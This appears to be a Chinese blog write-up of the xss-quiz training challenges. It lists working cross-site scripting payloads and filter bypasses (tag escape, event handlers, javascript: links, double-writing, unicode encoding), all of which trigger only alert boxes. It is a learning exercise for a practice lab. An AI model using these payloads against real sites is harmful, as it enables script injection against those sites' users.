xss从零开始之刷xss-quiz
刷题
平台地址:xss-quiz
chanllenge1
很简单,直接放payload
1 | <script>alert(document.domain)</script> |
challenge2
输入第一题payload没反应,查看源代码
发现被嵌入在input标签中所以不会解析,需要构造一下,使其逃逸出来
1 | "><script>alert(document.domain)</script><" |
成功弹窗
challenge3 其它input框的xss
输入payload没反应,查看源代码发现会被转义,抓包发现p2参数,在p2参数处xss,成功进入下一关
challenge4 隐藏input框的xss
发现p1,p2参数都被转义了,查看源代码发现隐藏输入框
把hidden改为text,输入第二关payload成功弹窗
1 | "><script>alert(document.domain)</script><" |
challenge5 前端长度限制的xss
随便输入发现长度限制为15
直接修改15为其他大数,然后输入payload提交
1 | "><script>alert(document.domain)</script><" |
challenge6 on事件bypass尖括号
过滤了尖括号,需要绕过,注意查看元素构造Payload:
移动鼠标触发事件:"onmouseover="alert(document.domain)"
鼠标点击触发事件:"onclick="alert(document.domain)"
challenge7 不使用引号绕过引号
发现引号被过滤了,使用空格分隔属性,不使用”,从而绕过”。
1 | test onmouseover=alert(document.domain) |
challenge8 javascript伪协议
涨姿势了,还可以这样用,输出在href下时,使用javascript伪协议
常见用到威胁的属性如下:
1 | src |
bypass
1 | javascript:alert(document.domain); |
等价的
1 | javascript:alert%28document.domain%29; |
challenge9
好像有问题,跳过
challenge10 双写绕过
把domain置换为空,直接双写绕过
1 | "><script>alert(document.domdomainain)</script><" |
challenge11 编码绕过
过滤了很多,script会被替换为xscript,on事件会被替换为onxxx,style会被替换为stxxx
使用html编码绕过构造script过滤,但是直接构造<scrip\>
不会解码,html编码解析只对标签里面属性的值进行解码
可以使用a标签中的href+伪协议把他放在属性中构造
payload:
1 | "><a href=javascript:alert(document.domain)>xss</a> |
challenge15 document.write()
尖括号和引号被过滤,但在input标签之上引用了document.write的方法
write() 方法可向文档写入 HTML 表达式或 JavaScript 代码。那么我们在write中写入的代码就是js的范畴了,在js中可以使用unicode编码或者十六进制编码,document.write在输出的时候会解码一下数据,把unicode编码的字符转换成实体字符,从而绕过过滤。
payload:
1 | \\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e |
一种是unnicode编码,一种是十六进制编码,都可以绕过。
总结
总结一下,调用js的方式:一些on事件,如:onmouseover、onclick、onerror等等。
如果是标签的话,要脱离其它标签才能开启js解析调用。
还有就是一些特定的方法,比如document.write。
学会构造、学会用javascript伪协议,学会编码绕过,知道浏览器解析的顺序
- Post Title: xss从零开始之刷xss-quiz
- Post Author: Katharsis
- Post Link: http://yoursite.com/2020/09/17/xss-challenges/
- Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.